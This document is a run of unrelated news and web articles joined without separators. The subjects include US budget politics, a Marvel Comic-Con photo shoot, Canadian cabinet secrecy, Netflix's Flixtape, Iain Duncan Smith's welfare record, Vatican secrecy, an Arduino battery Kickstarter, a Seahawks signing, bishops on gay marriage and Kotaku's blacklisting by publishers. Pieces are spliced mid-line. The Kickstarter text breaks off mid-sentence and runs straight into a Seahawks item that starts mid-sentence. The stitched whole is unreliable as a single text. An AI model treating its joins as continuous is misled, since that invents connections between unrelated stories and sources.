Mulvaney, sources say, has been huddling on a weekly basis with House Budget Chairwoman Diane Black (R-Tenn.) and Senate Budget Chairman Mike Enzi (R-Wyo.) to plot a path forward. There appears to be some common ground to consider cuts to other smaller entitlement programs: While the Office of Management and Budget would not respond to a request for comment, CQ reported Tuesday that the White House was also considering hundreds of billions in cuts to the same programs being eyed by House budget writers.
“I’ve already started to socialize the discussion around here in the West Wing about how important the mandatory spending is to the drivers of our debt,” Mulvaney told radio host Hugh Hewitt in March. “There are ways that we cannot only allow the president to keep his promise, but to help him keep his promise by fixing some of these mandatory programs.”
Final details of the GOP’s budget plan aren’t expected until June, and specific language mandating the mandatory cuts still hasn’t been written, according to one aide familiar with the process. Committees would then have several months to put together the department-by-department details on what exactly to cut, proposals that probably won’t land until the fall at the earliest, given the legislative calendar.
The idea could run into problems: It is unclear whether such cuts would be acceptable in the more moderate Senate. In order for the proposal to actually move, Senate Republicans would need to include the same instructions in their own budget.
In the House, Republican leaders hope the moves toward deficit reduction will buy them some good will with conservatives going into September, when the party’s right flank will have to swallow difficult votes to raise the debt ceiling and fund the government.
Cole argued the deficit-trimming push will appeal to the House Freedom Caucus, which blocked the House GOP’s budget on the floor last year in protest of spending levels its members considered too high.
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But pleasing conservatives this time around will fuel anxiety on the other end of the conference. Endorsing cuts to programs for the poor will certainly make centrist House Republicans — many of whom were uncomfortable voting to slice Medicaid just weeks ago in the Obamacare repeal bill — very uncomfortable.
Rep. Charlie Dent, a centrist and senior Appropriations Committee member, said budget reconciliation instructions should center solely on tax reform, which “is complex enough on its own,” he said.
“All I can say is: Tax reform by itself is very complex and controversial,” Dent (R-Pa.) said. “Adding some of these other changes will only make the tax reform more difficult.”
Asked about mandatory programs that might be cut, he added: “This will create challenges, no question about it. When so many of the entitlement programs are taken off the table for discussion … that limits our ability to fund the nondefense discretionary programs and other mandatory programs that affect a lot of people.”
GOP backers of the idea will argue in the coming weeks and months that moderates have voted for GOP budgets that included similar cuts in the past — so they should be able to support them again.
But if House GOP leadership has learned anything from the Obamacare repeal debacle, it should be that voting for something that has no chance of becoming law and makes for great campaign fodder is much easier than backing a bill that could be enacted.Backstage at Comic-Con, THR captured Cate Blanchett, Michael B. Jordan, Mark Ruffalo and more in the first-ever star-studded portrait of the next phase of the Marvel Cinematic Universe
About 30 minutes before the stars of Disney's and Marvel's Black Panther and Thor: Ragnarok took to the Hall H stage at Comic-Con on Saturday, the worlds of Asgard and Wakanda collided backstage for the first-ever Marvel family photo of the two casts.
Nineteen members of the Marvel universe — led by Marvel Studios president Kevin Feige — posed for The Hollywood Reporter's exclusive portrait backstage just moments before the studio's presentation. From the moment they arrived, the room was full of laughter and hugs, as many of the actors were reuniting with their casts for the first time in months.
First to arrive was the Black Panther cast, most of whom hadn’t seen each other since wrapping the movie in April. Stars Chadwick Boseman, Michael B. Jordan, Lupita Nyong'o, Danai Gurira, Forest Whitaker and Andy Serkis — the latter flew in with his family from London just to be at Marvel’s panel — joined director Ryan Coogler (wearing a Stranger Things T-shirt) backstage.
“This is a real family moment,” Gurira told Nyong'o after an embrace.
And as the cast took photos amongst themselves, Coogler let some of his actors know about a fight sequence that Hall H and the actors would be seeing for the first time after taking the stage. It was very clear that they were pumped to see it for the first time.
Black Panther castmates Letitia Wright and Daniel Kaluuya (who was the breakout of horror-thriller Get Out) were attending Comic-Con for the first time. "It's going to be wild, because I have no expectations at all," said Kaluuya, who revealed that he was on set of another film when the first trailer for Black Panther dropped and his phone was flooded with texts.
With the clock ticking before the panel, the Thor cast finally strode in — Wright shook hands with Hiddleston, saying, “Nice meeting you, Tom. Now get your butts on the stage!” But it wasn’t that easy — everyone wanted to say hello and give hugs. Coogler and Thor helmer Taika Waititi embraced. Coogler also introduced his wife to Mark Ruffalo. (Tessa Thompson was the only castmember who couldn't make the photo as she was on back-to-back panels.)
Some knew each other previously, some were meeting for the first time. Case in point: Hiddleston and Kaluuya. "I'm a big fan," Hiddleston said to the Get Out star.
Blanchett, with son in tow, was last to arrive and as soon as she'd found her spot, photographer Christopher Patey began snapping away.
The combination of Waititi and Chris Hemsworth standing next to each other proved to be almost too much fun. Waititi was seen wrapping himself around the Thor star, and toward the end of the shoot, when Patey told them to get loose and have a little fun, Waititi took a leap…and broke off a piece of the set (KA-THOOM!), almost falling backward from on high. Luckily, Hemsworth’s strong grip held him fast.
When the photo was done, there were more hugs and catching up, even as the publicists tried to wrangle everyone to Hall H for the panel. They'd be a little late. But it didn't matter. Because when they did take the stage, they blew the audience of 6,500 Marvel-hungry fans away with new trailers for both Thor: Ragnarok (hitting theaters Nov. 3) and Black Panther (Feb. 16, 2018). And the new fight scene from Black Panther (exclusively shown to the audience in Hall H), would bring the elated crowd to its feet. It was worth the wait.
Click the image below to see a hi-res version of the top image from the shoot.The Conservative government has quietly tightened the lid on federal cabinet secrets in an effort to prevent compromising leaks.
A revised policy on the security of so-called cabinet confidences requires all possible breaches — "however slight" — to be immediately reported to the Prime Minister's Office or officials in the Privy Council Office, the government's bureaucratic nerve centre.
"This includes unauthorized disclosure, loss, theft, transmission and discussion over non-secure channels, unaccounted documents or other actual or suspected compromises."
In order to avoid such incidents, documents known to contain cabinet secrets must now be stamped "Confidences of the Queen's Privy Council."
The Canadian Press obtained a copy of the new policy, along with a memo explaining the changes, under the Access to Information Act.
In addition, the Privy Council Office approved a complementary plan to digitize its archive of cabinet documents to allow for storage of the paper originals off-site in a secure, climate-controlled facility — a bid to avoid the sort of damage caused by a major flood in 2001.
New policy adopted last July
The confidentiality of cabinet proceedings — the political forum in which ministers make government decisions — is a long-standing constitutional convention and the cornerstone of the Westminster style of government, notes the new security policy, adopted last July.
It replaced one in effect since 2007.
The government's original aim was to update the policy in 2012 to address events that are blacked out of the heavily censored explanatory memo of April 2014 to Wayne Wouters, then the Privy Council clerk.
Raymond Rivet, a Privy Council Office spokesman, would not elaborate, saying only that "PCO regularly reviews its security policies and strives to update them approximately every five years."
In 2008, Maxime Bernier resigned as foreign affairs minister after acknowledging he left classified documents at the Montreal home of his former girlfriend for more than a month.
Two years later, the RCMP carried out a five-month investigation into an alleged leak of cabinet documents concerning federal interest in the F-35 stealth fighter before shutting down the probe due to lack of evidence.
The driving force behind the revamped policy seems to be "a clear desire to tighten up the security of these records after the Bernier affair and perhaps other lapses less well known," said Wesley Wark, a security expert and visiting professor at the University of Ottawa.
Scope broadened
A key challenge, says the memo, is distinguishing cabinet secrets from other types of sensitive documents in order to restrict access to those who have a valid need to see them.
The new policy does not expand the definition of a cabinet confidence but broadens the scope of a security breach to cover virtually all possibilities.
"Any security incident involving cabinet confidences, however slight, must be immediately reported to the PCO Security Operations... or through the Prime Minister's Office switchboard," says the 13-page policy.
The affected departmental security officer is also to be notified.
Unless directed otherwise by PCO, the security officer is expected to conduct an initial administrative inquiry to determine what happened and identify corrective action.
The security officer is also expected to keep the PCO's director of security and emergency management apprised of the situation.
The Privy Council clerk, following consultation with the relevant deputy minister, may ask the RCMP to step in. The Mounties will then decide whether to investigate.Just in time for the weekend, Netflix today announced the launch of a new service called Flixtape, which the company describes as a way to make short playlists of your favorite Netflix titles. “It’s like a mixtape, but for Netflix,” the site explains. The new tool lets you create these lists based on a genre or theme of some sort, then share them with friends or family over text message, email or social networks like Facebook and Twitter.
There are a number of ways you can use something like Flixtape. You can make your own mixes of favorite movies or shows, just for reference’s sake, or you could create curated recommendations for friends.
Unfortunately, Netflix has decided to limit the number of titles that can be added to each Flixtape. The editor allows you to replace and remove any of the three titles it suggests, then you can search for and add up to six total titles. While it’s true that “mixtapes” are not supposed to include dozens upon dozens of entries, it also seems odd to have an artificial limit in place given the potential to create long-standing collections here.
That said, Flixtape is still fun to use. And it’s a clever way to work around the fact that Netflix’s recommendations system doesn’t effectively tap into our social connections as well as it could. Today, Netflix shows you what’s trending and what’s popular with friends, but has failed to offer a simple way for members to share more personal, word-of-mouth recommendations with each other individually. Flixtape solves that problem.
Like the mixtapes of days past, Flixtapes are meant to be personal and customizable, says Netflix. You’re able to customize their “cover” with the title, doodles and even add the name of the person you’re sharing it with. These elements can be dragged around the screen.
[gallery ids="1353711,1353717,1353710,1353709"]
If you’re stumped on what to add, Flixtape’s website offers a variety of pre-made lists, like “The Family Reunion Flixtape” or “The Besties or Frenemies Flixtape,” for example. You can also push a button to get suggestions when you pick a given topic.
Later, when the recipient opens their Flixtape, they can see the list overlaid on top of background imagery for the show or movie in question, and then can click to watch the title on Netflix, assuming that they’re a member.
At this time, it doesn’t appear that Flixtape will be built into the main Netflix application itself, however.
This is not the first time Netflix has launched a standalone site aimed at promoting its service in content in recent months. In May, for example, the company launched its own speed test website, Fast.com. But in that case, its mission was more to shame poor-performing ISPs, while Flixtape is more of a social effort.Internet, bear with me. For a while from now, as each new game that gets support for the Oculus Rift, I, and other writers, will get needlessly excited and post videos of said game in action. This will settle down in time and normal activity will resume. Until then: virtual reality Mirror’s Edge.
Still looking amazing years after its release, Mirror’s Edge is a natural fit for the Oculus Rift. It’s easy to imagine that, had the Rift existed during its development, DICE would have adopted the headset for the game while producing it: they chose to make a first-person free-running game, when arguably the more natural design move would have been third-person (to show off all the fancy acrobatics), and, so, committed to immersing the player into the act of running, something this video demonstrates is much more potent while wearing a headset.
Had they had the chance to integrate the Rift then we might have been spared the fourth-wall breaking forced head movement cutscenes. As it is, while playing with the Rift I can imagine any time your view is controlled by the designer, and not your own movements, it must be illusion-breaking, much more so than when you are simply viewing the action on a screen.
Still, it looks ace. If you’re in possession of an Oculus Rift (you lucky person, you) then you can get Mirror’s Edge working with the headset by installing Vierio Perception and the FOV mod.When Iain Duncan Smith – or IDS, as we know him – first took over the reins at the Department for Work and Pensions many believed the failed party leader had finally found his niche. “A round peg in a round hole,” a BBC profile described the newly appointed cabinet minister at the time.
The “Easterhouse epiphany” nearly a decade earlier had framed IDS as having “converted” to fighting for social justice, so moved was he by the poverty he encountered on the Glaswegian estate. Duncan Smith, the Great Social Reformer, his friends declared. And now, 14 years after his epiphany, he is attempting to cement a legacy following a dramatic resignation.
Allies of Duncan Smith have come out in their droves portraying a man with the poor and vulnerable in society at the centre of his heart. But over his five-year “fiefdom” (his colleague’s word, not mine) at the DWP, both the policies and rhetoric are at odds with this description.
Sanctions help claimants “focus and get on”, IDS claimed just two weeks ago during a meeting with a councillor in Belsize Park. He didn’t, however, confirm whether those were the claimants his department invented and attempted to pass off as genuine people in the summer of 2015.
Duncan Smith will say that he inherited benefit sanctions from his predecessors. But during his five-year term, the sanctions regime has become increasingly bureaucratic and excessively punitive. Claimants can now have their benefit payments stopped for anything between four and 156 weeks.
While I can’t say I’ve met people who confess a sanction has helped them to “focus and get on”, I have met a man who was forced to walk seven miles to the nearest foodbank for three days’ worth a food. Another who, over the 2014 Christmas period, had to beg on the streets of Manchester city centre and search through bins for food, after being sanctioned. And I was told by an adviser at one emergency food centre that a family, who couldn’t afford nappies for their child, was forced to improvise with a carrier bag and kitchen paper.
Then there’s David Clapson – the man who died 18 days after his benefits were sanctioned.
When his body was found by his sister Gill in July 2013, his fridge was almost bare – and because his electricity had been cut off it was useless for storing the insulin that he needed. He had just £3.44 in the bank and 5p credit on his phone. The 59-year-old former Lance Corporal died of diabetic ketoacidosis just two weeks after Job Centre staff stopped his benefits for missing two appointments. Close to his body his sister found a pile of printed CVs.
Just two weeks ago his grieving sister carried a banner to the DWP headquarters, engraved with the names of 96 people she claims to have died while on a benefit sanction. In her opinion, she told me, the sanction her brother received was a “death sentence”.
His story is not uncommon.
We’re also aware of the peer reviews the Department has undertaken. A Freedom of Information request, in 2015, revealed that 60 reviews following the death of a claimant had been carried out. A peer review, according to the DWP guidance for employees, must be undertaken when suicide is associated with DWP activity to ensure that any DWP action or involvement with the person was appropriate and procedurally correct.
Duncan Smith’s personal vanity project, Universal Credit, has also been delayed at every corner. It is the legacy he wanted to secure at the helm of the DWP, but never achieved. A policy that was supposed to have been rolled out in October 2013 and three years later, fewer than 200,000 are on its register. The latest guesstimate is now autumn 2021 – though, with his resignation, the political willpower to proceed with Whitehall’s IT nightmare could well be fading.
His Department’s removal of the spare-room subsidy – more commonly referred to as the Bedroom Tax – has caused misery for vulnerable people across the country. On the last day of parliament before the Christmas recess, the DWP quietly published, alongside 380 other government documents, an assessment of the Bedroom Tax. It found the central aim of the policy, which is to get claimants to move to smaller residences if they have an unoccupied bedroom in their home, had largely failed. Only one in ten had escaped the Bedroom Tax by moving to a smaller property.
The study added that three-quarters of the people affected had said they had cut back on food, 46 per cent had cut back on heating, 33 per cent on travel and 42 per cent on leisure.
But the most damaging legacy will be the rhetoric espoused by the Department during IDS’s tenure. Speaking last month at the Centre for Social Justice, a London-based think-tank he co-founded, he said Labour’s legacy of benefits “entrapped individuals... and created a growing underclass”. He added that his benefits cap “said the welfare system is not a bottomless pit of cash... the system was there to help if you need it, but we would not tolerate excessiveness from those who wanted to take advantage.”
This “work-shy” fallacy, the myth of the scrounger, the epidemic of the so-called welfare dependent, seems to have informed and laid the foundations for a whole raft of policies at the Department for Work and Pensions. It is the idea that there are thousands of lazy, feckless people who have one intention: to sponge off state hand-outs from the comfort of their living room sofa.
DWP advertising campaigns, promoting their telephone hotline and encouraging members of the public to report suspected benefit “cheats” have fostered a climate of hostility between neighbours: where people on the same street are made to feel a degree of patriotism if they peek through their curtain windows to find the next benefits fraudster.
“I will not be shedding any tears for the evangelical, aggressive and routinely failing welfare reforms that were the personal fiefdom of the Secretary of State for the DWP,” said the Conservative MP Stephen McPartland, shortly after Duncan Smith handed in his resignation on Friday evening. My feeling is that many people across the country, and those on the Glaswegian estate where IDS first had his epiphany, will share McPartland’s sentiments.Elisa Strauss has a piece in The Forward about how she checked out of the Israel issue because she was turned off by the propaganda she got on Birthright and from Hillel, even as she was seeing the wall in Palestine. Excerpts:
I went to Hillel and on Birthright because I was looking for a source of unbiased information on, and sober insight into, the country. I naively believed that I could rely on the Jewish community to educate me… I just wanted facts, presented by someone who did his or her best to be fair. I found nothing of the sort. … [M]y indifference eventually became willful. I just couldn’t juggle the experience of Tel Aviv’s lively beaches, the serene intensity of Friday evenings at the Kotel, and the sadness and shame I feel when I hear about life in Gaza and the West Bank. So instead of finding a way to reconcile these discordant realities, I detached. Israel just wouldn’t be my problem to solve… I went on Birthright in 2004, on a trip called “Behind the Headlines.” I chose this one hoping to do exactly that, to get the backstory on Israel. Imagine my disappointment, then, when, a few days into the trip, our bus traveled alongside a very tall, very long wall and the trip leader felt no need to explain what it was there for and who was behind it. This was the moment when I realized that not only were we not going behind the headlines, we weren’t even going to cover them….
The happy ending is that Strauss says, ten years on, she might have to engage:
I am starting to think that as a Jew, I might have a responsibility to pick a side and take a stand. Distancing, which once let me avoid Middle East politics, now just makes me feel complicit. The next step is figuring out where to start.
I know I should welcome Strauss to her new path of seeking the truth, because I’m confident that path leads in one direction, toward supporting equality for Palestinians. And as someone who had to stumble out of a lot of tribal traces to get here, I have to respect others’ processes, especially the young who haven’t learned indifference to authorities.
But I must say I find the piece annoying. It’s like Jeremy Ben-Ami talking to the JCC in New Haven last night and saying, “It’s very hard as a Jew,” to go to Hebron and see a divided street with Jews restricted to one side, and Palestinians restricted to the other. OK, Ben-Ami was trying to hold the hand of a rightwing Jewish crowd and explain the reality of Jim Crow. But I’m sorry:
This is not hard.
When you actually see apartheid and racial discrimination, you have one responsibility in this world, Jew Christians Muslims atheists etc: Repudiate it. Seeing that street in Hebron changed Brian Walt’s life forever. My wife went to Bethlehem and the penny dropped in two seconds, she saw that it was wrong. There’s an ancient spiritual responsibility, to bear witness. I urge all Americans to cast their eyes on that wall and then come back home and run through the streets with the news.
Update: Today the Times has a piece describing the Oscar-nominated movie Omar, by Joshua Hammer. It includes this sweet little euphemism:
In an early scene, an Israeli military patrol catches him scrambling over the security fence, which bisects Omar’s village as it imprecisely traces the pre-1967 border between Israel and the West Bank.
What do you see when you see that wall?[np_storybar title=”Thousands gather to hear from Pope Benedict XVI: Video” link=”#1″]
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For an institution devoted to eternal light, the Vatican has shown itself to be a master of smokescreens since Pope Benedict XVI’s shock resignation announcement.
On Thursday, the Vatican spokesman acknowledged that Benedict hit his head and bled profusely while visiting Mexico in July. Two days earlier the same man acknowledged that Benedict has had a pacemaker for years, and underwent a secret operation to replace its battery three months ago.
And as the Catholic world reeled from shock over the abdication, it soon became clear that Benedict’s post-papacy lodgings have been under construction since at least the fall. That in turn put holes in the Holy See’s early claims that Benedict kept his decision to himself until he revealed it.
Vatican secrecy is legendary and can have tragic consequences — as the world learned through the church sex abuse scandal in which bishops quietly moved abusive priests without reporting their crimes.
And the secrecy is institutionalized from such weighty matters to the most trivial aspects of Vatican life.
“You have to understand that actually every Vatican employee and official takes an oath of secrecy when they assume their job,” said John Thavis, author of the Vatican Diaries, an investigation into the workings of the Holy See. “And this isn’t something that is taken lightly. They swear to keep secret any office matters and anything pertaining to the pope.”
Knowing the pope well, there was something in the air that this decision of the pope was possible
One of the most famous cases of Vatican secrecy was the Holy See’s efforts to cover up the fact that Pope John Paul I’s dead body was discovered by a nun. The eventual revelation helped fuel conspiracy theories over the death of the pope who ruled for only 33 days in 1978.
The Vatican is so obsessed with secrecy that the first and only official confirmation that John Paul II had Parkinson’s disease was in his death certificate.
The Vatican justifies itself by arguing that its officials are holders of the divine truth, unaccountable to worldly laws. In particular, the pope’s word is the final say on any issue — infallible on some doctrinal matters. But groups representing sex abuse victims, and other Catholics angered by the scandal, have been demanding modern standards of accountability and calling for reforms.
The Vatican brushed aside criticism for keeping quiet about the pope’s December pacemaker procedure, on grounds it was “routine.” One Vatican official said making the operation public would simply have led to a big and unnecessary commotion about the pope’s health. “You can imagine the satellite dishes in St. Peter’s square,” said the official, who spoke on condition of anonymity because he is not authorized to speak to the media.
The front-man for the church’s dance of concealment and disclosure: Vatican spokesman The Rev. Federico Lombardi. In his briefings, Lombardi has been forced into the uncomfortable situation of keeping silent on aspects of the pope’s health and future, only to backpedal when confronted with reports in Italian newspapers.
In the latest disclosure, Turin’s La Stampa newspaper reported Thursday that Benedict hit his head on a sink and bled profusely when he got up in the middle of the night in an unfamiliar bedroom in Leon, Mexico. The report said papal blood stained Benedict’s hair, his pillow and the floor.
Lombardi confirmed the incident but denied it played any role in the pope’s resignation. Still, suspicions are bound to be whetted, since the Vatican newspaper L’Osservatore Romano reported this week that Benedict had taken the decision to resign after the Mexico-Cuba trip, which was physically exhausting for the 85-year-old pope.
Then there’s the question of how many people knew of Benedict’s decision to retire.
On the day of the announcement the Vatican cast it as a bolt from the blue, saying almost nobody knew but Benedict himself. Soon, however, prominent clergymen – one not even Catholic – began changing the tone and saying they were not surprised.
[E]very Vatican employee and official takes an oath of secrecy when they assume their job,
“Knowing the pope well, there was something in the air that this decision of the pope was possible,” said Archbishop Piero Marini, master of papal ceremonies under Pope John Paul II. “So it was not a shock.”
Even the retired Arcbishop of Canterbury, Bishop Rowan Williams, says that based on his last meeting with Benedict a year ago he was not surprise at the decision to step down.
“Because of our last conversation I was very conscious that he was recognizing his own frailty and it did cross my mind to wonder whether this was a step he might think about,” Williams told Vatican Radio.
Renovation work on a convent previously occupied by cloistered nuns has been going on in secret since at least last fall, an issue apparently causing grumbling among cardinals about the choice of arrangements and whether Benedict’s presence on Vatican grounds will allow the retired pope to wield too much influence on his successor.
“I don’t think there was a consultation of the College of the Cardinals about this,” Lombardi said Wednesday, deflecting questions about Benedict’s living arrangements. “The decision and the process of the decision was very limited in the number of persons involved.”
That points to another aspect of Vatican secrecy: The habit of different wings of the Holy See jealously concealing information from one another.
“There is very little cross communication within Vatican departments,” Thavis said, “so one department may know something but that does not mean that the Curia office down the hall knows about it as well.”Have you experienced that moment of success when you complete a project on your Arduino? This glorious victory when the temperature displays on your LCD, or your LEDs flash in perfect succession. I've spent many long hours on projects seeking this moment, only to have it shattered by the realization that my creation is shackled to the USB port of my computer or the cord on an AC adapter. Sure, you could wire up a battery pack of sorts with a costly 9V battery or a pack of AAs; only adding to the amount of delicate circuitry. We knew there had to be a better way...
After some trial and error, we have found the better way.
NightShade Electronics is proud to introduce to you...
What is it? The energyShield is a rechargeable lithium-polymer battery in the form of an Arduino shield (Uno/Leonardo Compatible). It has three main internal functions including a circuit to boost the battery's nominal voltage of 3.7V to 5V; a lithium-polymer battery charging circuit; and an on-board fuel gauge IC which allows for the measurement of battery voltage, current, and accumulated charge by means of a Two-Wire Interface (TWI/I2C).
What's Included
All energyShields will include:
energyShield (with everything soldered except the headers and battery)
Battery (with bare leads)
Header Pins
Power Adapter (U.S. Plug Type, 9V DC)
Features
Contained in Arduino Shield Form-Factor (Uno and Leo/R3)
Rechargable
Uninterruptable
5V Output (and 3.3V when attached to an Arduino)
500 mA Output (Final version will be HIGHER!)
Integrated Charging Circuit
Fuel-gauge IC - Monitor Voltage, Current, and Charge via a Two-Wire Interface (TWI/I2C)
Fully Functional Arduino Library
On/Off Switch
Charges from Standard Arduino Power Adapter (7.2-20V)
Powers Arduino While Charging
@ $15,000 - 3.3V Output and Breakout Header for non-shield use
@ $20,000 - Charges via USB micro cable
@ $25,000 - Chages via solar (PV) cell without power interruption
Some Applications
Temporary Projects
Remote Data Logging
R/C Vehicles
Classrooms
Any Time You Want Hassle-Free Power
How is it Unique?
It's not a secret that there are other batteries out there for the Arduino. However, there is no other rechargeable Arduino battery that includes built-in charging circuitry, offers high current sourcing ability, and contains a fuel gauge within the footprint of the Arduino. Here at NightShade Electronics we created our first working prototype a couple weeks before Christmas and, even today, we are still fascinated by the ease at which you can power a project with the energyShield. There's no expensive, disposable batteries. No delicate power circuitry. Just a securely attached shield with an On switch and DC power jack for recharging. It's easy and it is FUN!
The Journey
After we formed the initial concept of the energyShield we went right to work designing our first prototype. Our first design was... less than impressive. Sometimes it functioned as it was supposed to and, at other times, it lost some of it's magic smoke. While addressing a simple problem we had created a complicated solution. At that point we threw out the design and started again with a blank canvas. We began again with a more simple, yet more elegant design. The operation is now more intuitive, and the energyShield is more robust. In our second iteration we had achieved everything we had set out to do. We have created a shield that provides a project with power at the flip of a switch.
But, we're not stopping here. We already have a list of changes to make to further improve the energyShield. As you read this we are working on our third iteration of the energyShield. We are fixing a couple of bugs and adding to the list of features.
Where you come in...
We have brought the energyShield to Kickstarter, because we need your support to fund the first production run of the energyShield. We have a manufacturing plan in place and we are in contact with various suppliers who are ready to source the parts to us. The only missing piece is your pledge. Your pledge will provide the capital necessary to place a production order large enough for it to be economical. On behalf of the entire NightShade team, Thank you!
Atmel article featuring the energyShield!
About project
The robot in the video, project, was designed as a power source demonstrator. As such, it does not have any power source of its own. The Arduino seen on the top of the robot has wires soldered to the bottom of it to control and power the screen and motors.
This campaign is not about project though, so back to the energyShield!
Technical Stuff
Presently the energyShield has a capacity of 1200 mAh, a nominal current sourcing of 500 mA and, at full charge, a maximum current sourcing of 825 mA. We are looking into improving the current rating of the board to allow the energyShield to power even more demanding projects. The reason for the varying current limitation on the energyShield has to do with the output voltage (5V) being stepped up from the battery voltage (3.7V nominal). Because the battery voltage is lower than the output voltage, the current from the battery is larger than the current drawn from the energyShield at 5V. Assuming that the power from the battery is equal to the power used at 5V, the battery current (100% efficient) can be illustrated as such: I(bat) = I(out) * 5V / V(bat). What this says is that as the battery dies (voltage decreases), the current drawn from the batter will increase. Therefore the load must be limited, so that the current drawn from the battery does not exceed the battery limitation, even at the lowest battery voltages.
Below is a graph which represents data recorded from the energyShield via the TWI interface.
This data was recorded as a fully charged energyShield was fully discharged under a 245 mA load. This constant load is represented by the lowest curve on the graph (Output Current). It reflects that over the entire life of the battery the current output from the energyShield to the load was a constant 245 mA. The next curve to take note of is the "Output Current, 100% Eff." This is the current that would have been output if the energyShield was 100% efficient at boosting the battery voltage to 5V. I won't hold you in suspense.............. ok, maybe for just a minute...... It is NOT 100% efficient. Actually it is about 83% efficient. What this means is that you will only be able to use about |
roster last year as an undrafted rookie free agent, playing in 12 games and making five tackles in 131 snaps.
Barnes played at Clemson and has played largely three-technique tackle and defensive end in his career.
Seattle has been known looking to add defensive line depth and has had several players in for visits and/or workouts in recent days continuing to try to add players at a spot where the depth has taken a little hit in the off-season, specifically with the loss of Brandon Mebane in free agency (though Barnes doesn’t appear a direct fit for the nose tackle spot).
The Seahawks are also thought likely to add defensive linemen in the draft and the acquisition of Barnes wouldn’t necessarily seem to impact those plans, at least not at the top of the draft.
Prior to the draft last year it was reported some teams thought the 6-3, 269-pounder Barnes could be a fit as a strongside linebacker, and it would be interesting to see if Seattle might also view him as a possible candidate at that spot, where Seattle is looking for a replacement for Bruce Irvin.On the day the first gay weddings took place in England and Wales, the Bishop of Buckingham Rt Rev Alan Wilson has called on gay clergy to ignore the official church line and officiate at gay weddings – and even marry their partners if they wish.
Perhaps bearing in mind the traditionalist views of overseas members of the 80 million strong Anglican Church, the Archbishop of Canterbury the Most Rev Justin Welby saidthat although he accepted gay marriage was now legal, his opposition to it has not changed.
Other bishops have been more accepting. Bishop of Salisbury the Right Rev Nicholas Holtam said the change in law marked "a new reality" and sent his congratulations to those tying the knot. Going further, an alliance of Christian and Jewish leaders led by Bishop Wilson said the change in law was a cause to rejoice.
Bishop Wilson said he knew several current bishops in gay relationships and urged them to "come out" for the sake of "honesty and truthfulness". Wilson said he found the Church's position "morally outrageous" and there should be discretion for clergy to officiate at gay weddings:
If approached by a gay couple I'm perfectly happy for both myself and my colleagues to devise something with them which is as appropriate as it can be Bishop of Buckingham
"There is creative space within which clergy work with couples and that creative space is wide open. Obviously if approached by a gay couple I'm perfectly happy for both myself and my colleagues to devise something with them which is as appropriate as it can be in the present anomalous state that we are in."
The issue of same-sex marriage continues to provoke controversy and not only within the Church. Prime Minister David Cameron had to overcome strong opposition from within his own party to make gay marriage legal, saying it was a tribute to "the sort of country we are".
Meanwhile the BBC has conducted a survey and though 68% of those asked said gay marriage should be allowed, 22% would not go to a gay wedding if invited. The survey found younger people and women were more relaxed about same-sex marriage than older people or men. Today's first same-sex weddings take place on the same day as the birthday of one of their most outspoken critics: former Conservative chairman Norman Tebbit.For the past two years, Kotaku has been blacklisted by Bethesda, the publisher of the Fallout and Elder Scrolls series. For the past year, we have also been, to a lesser degree, ostracized by Ubisoft, publisher of Assassin’s Creed, Far Cry and more.
In those periods of time, the PR and marketing wings of those two gaming giants have chosen to act as if Kotaku doesn’t exist. They’ve cut off our access to their games and creators, omitted us from their widespread mailings of early review copies and, most galling, ignored all of our requests for comment on any news stories.
Neither company has officially told us that we’ve been cut off. For a time, it was possible to make a good-faith assumption that this was just a short-term disagreement. Maybe their spam filters were misplacing our emails. Maybe they’d get over it. Or perhaps they feared a repeat of 2007, when then-Kotaku editor-in-chief Brian Crecente embarrassed Sony out of blacklisting this outlet for reporting the existence of then-unannounced PlayStation projects.
The truth is that we’ve been cut off from Bethesda since our December 2013 report detailing the existence of the then-secret Fallout 4. Ubisoft has been nearly radio silent since our December 2014 report detailing the existence of the then-unannounced Assassin’s Creed Victory (renamed Syndicate). When we ask representatives from either company for comment or clarification regarding breaking news, we hear nothing in response. When we ask them about their plans for upcoming games or seek to speak with one of their developers about one of their projects, it’s the same story. Total silence.
This has happened at a PR and marketing level, leaving any developers at those companies who do want to talk to us or who do want to facilitate Kotaku coverage of their games to do so on the sly. It is, after all, PR and marketing who try to control how big-budget video games are covered. If they or their bosses don’t value an outlet, that outlet is left out.
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We’re far from the only gaming media outlet that has been blacklisted. It happens to smaller outlets. It happens to ones like Kotaku with millions of readers, too. It’s not an uncommon occurrence in gaming media, though it’s seldom discussed publicly.
The Bethesda blackout came after a year of reporting that was not always flattering to the Maryland-based publisher. In April of 2013 we reported insiders’ accounts of the troubled development of the still unreleased fourth major Doom game. In May of that year, we reported that Arkane Austin, the Bethesda-owned studio behind Dishonored, would be working on a new version of the long missing-in-action Prey 2 and that some at the studio were not pleased about that. When top people at Bethesda started making statements casting doubt on our reporting, we published a leaked internal e-mail confirming that those statements had misled gamers and that Arkane had indeed been working on a version of Prey 2.
The current Ubisoft blackout is actually the second in as many years. The company tried a similar approach in the spring of 2014 after we published early images of the then-unannounced Assassin’s Creed Unity—images that had been leaked to us by an independent source. That article confirmed news about the company’s extraordinary plans to release two entirely different AC games in the fall of that year, one for new consoles and one for old. Ubisoft had warmed back to Kotaku by the summer of 2014, several months after the Unity report, but has cold-shouldered us since the Victory story one year ago. It’s possible other articles angered them, too. But that Victory piece is a safe bet.
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I’m sure some people will sympathize with Bethesda and Ubisoft. Some will cheer these companies and hope others follow suit. They will see this kind of reporting as upsetting, as ruining surprises and frustrating creative people. They will claim we are “hurting video games,” and, as so many do, mistake the job of entertainment reporting for the mandate to hype entertainment products.
We serve our readers, not game companies, and will always do so to the best of our ability, no matter who in the gaming world is or isn’t angry with us at the moment. In some ways, the blacklist has even been instructive—cut off from press access and pre-release review copies, we have doubled down on our post-release “embedding” approach to games coverage. We’ve experienced some of the year’s biggest games from street level, at the same time and in the same way as our readers.
Some will think about all of this only in terms of numbers, focusing on the hundreds of thousands of pageviews we’ve gotten for our stories about leaked game announcements. Those stories have indeed done well. They are nevertheless a small part of what we do, and not something to which we devote much journalistic energy. I prefer to marshal our reporting to tell readers things they’ll otherwise never know or that they need to know sooner—the underpowered nature of upcoming hardware, the plight of fired game developers, the reason a high-profile game was released in rough shape.
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At times, though, we’ll stumble on information about a new, unannounced game or, more often, will find some unsolicited information in our inbox. The news value to such leaks is often exceedingly obvious in what it says about the state of a game, a franchise, a console or a company. In such moments, it is nearly unfathomable to me that a reporter would sit on true information about what’s really happening in gaming, that we would refrain from telling our readers something because it would mess with a company’s marketing plan.
